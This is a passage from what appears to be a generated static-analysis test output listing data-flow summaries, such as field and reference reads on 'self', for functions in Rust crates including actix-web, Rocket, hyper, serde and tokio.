repo:https://github.com/actix/actix-web:actix-web::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::as_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::as_mut | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::as_ref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::as_ref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:awc::_::::no_disconnect_timeout | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/actix/actix-web:awc::_::::no_disconnect_timeout | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:awc::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:awc::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/clap-rs/clap:clap_bench::_::::args | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in repo:https://github.com/clap-rs/clap:clap_bench::_::::args | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/clap-rs/clap:clap_bench::_::::name | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/clap-rs/clap:clap_bench::_::::name | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/clap-rs/clap:clap_builder::_::::ansi | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/clap-rs/clap:clap_builder::_::::ansi | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/clap-rs/clap:clap_builder::_::::as_styled_str | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/clap-rs/clap:clap_builder::_::::as_styled_str | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/clap-rs/clap:clap_builder::_::::as_internal_str | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/clap-rs/clap:clap_builder::_::::as_internal_str | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/clap-rs/clap:clap_complete::_::<_ as crate::engine::custom::ValueCandidates>::candidates | function return | file://:0:0:0:0 | [summary] read: Argument[self].ReturnValue in repo:https://github.com/clap-rs/clap:clap_complete::_::<_ as crate::engine::custom::ValueCandidates>::candidates | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/clap-rs/clap:clap_complete::_::<_ as crate::engine::custom::ValueCompleter>::complete | function return | file://:0:0:0:0 | [summary] read: Argument[self].ReturnValue in repo:https://github.com/clap-rs/clap:clap_complete::_::<_ as crate::engine::custom::ValueCompleter>::complete | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/hyperium/hyper:hyper::_::::danger_len | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/hyperium/hyper:hyper::_::::danger_len | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/hyperium/hyper:hyper::_::::handshake | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/hyperium/hyper:hyper::_::::handshake | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/hyperium/hyper:hyper::_::::handshake | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/hyperium/hyper:hyper::_::::handshake | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/hyperium/hyper:hyper::_::::as_ref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/hyperium/hyper:hyper::_::::as_ref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/hyperium/hyper:hyper::_::::as_bytes | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/hyperium/hyper:hyper::_::::as_bytes | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rust-lang/libc:libc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/rust-lang/libc:libc::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rust-lang/libc:libc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/rust-lang/libc:libc::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rust-lang/libc:libc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/rust-lang/libc:libc::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rust-lang/libc:libc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/rust-lang/libc:libc::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rust-random/rand:rand_chacha::_::::as_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rust-random/rand:rand_chacha::_::::as_mut | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rust-random/rand:rand_chacha::_::::as_ref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rust-random/rand:rand_chacha::_::::as_ref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools::_::::deref_mut | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates::_::::context | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates::_::::context | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::<_ as crate::catcher::handler::Handler>::handle | function return | file://:0:0:0:0 | [summary] read: Argument[self].ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::<_ as crate::catcher::handler::Handler>::handle | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::<_ as crate::route::handler::Handler>::handle | function return | file://:0:0:0:0 | [summary] read: Argument[self].ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::<_ as crate::route::handler::Handler>::handle | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::as_str | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::as_str | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::as_str | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::as_str | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::file | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in repo:https://github.com/rwf2/Rocket:rocket::_::::file | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::file_mut | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in repo:https://github.com/rwf2/Rocket:rocket::_::::file_mut | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::take_file | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in repo:https://github.com/rwf2/Rocket:rocket::_::::take_file | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::take | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::take | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::poll_next | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::poll_next | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket::_::::inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::media_type | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::media_type | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::weight | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::weight | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::weight_or | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::weight_or | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::media_type | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::media_type | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::borrow | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::borrow | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::as_ref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::as_ref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::as_str | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::as_str | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::split_at_byte | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in repo:https://github.com/rwf2/Rocket:rocket_http::_::::split_at_byte | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::into_string | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::into_string | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::render | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::render | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/rwf2/Rocket:rocket_http::_::::render | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::render | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::source | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::source | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/serde-rs/serde:serde::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/servo/rust-smallvec:smallvec::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/servo/rust-smallvec:smallvec::_::::clone | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/servo/rust-smallvec:smallvec::_::::retain | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in repo:https://github.com/servo/rust-smallvec:smallvec::_::::retain | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::as_ref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::as_ref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::<&[u8] as crate::io::async_buf_read::AsyncBufRead>::consume | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in repo:https://github.com/tokio-rs/tokio:tokio::_::<&[u8] as crate::io::async_buf_read::AsyncBufRead>::consume | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::<&[u8] as crate::io::async_buf_read::AsyncBufRead>::poll_fill_buf | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in 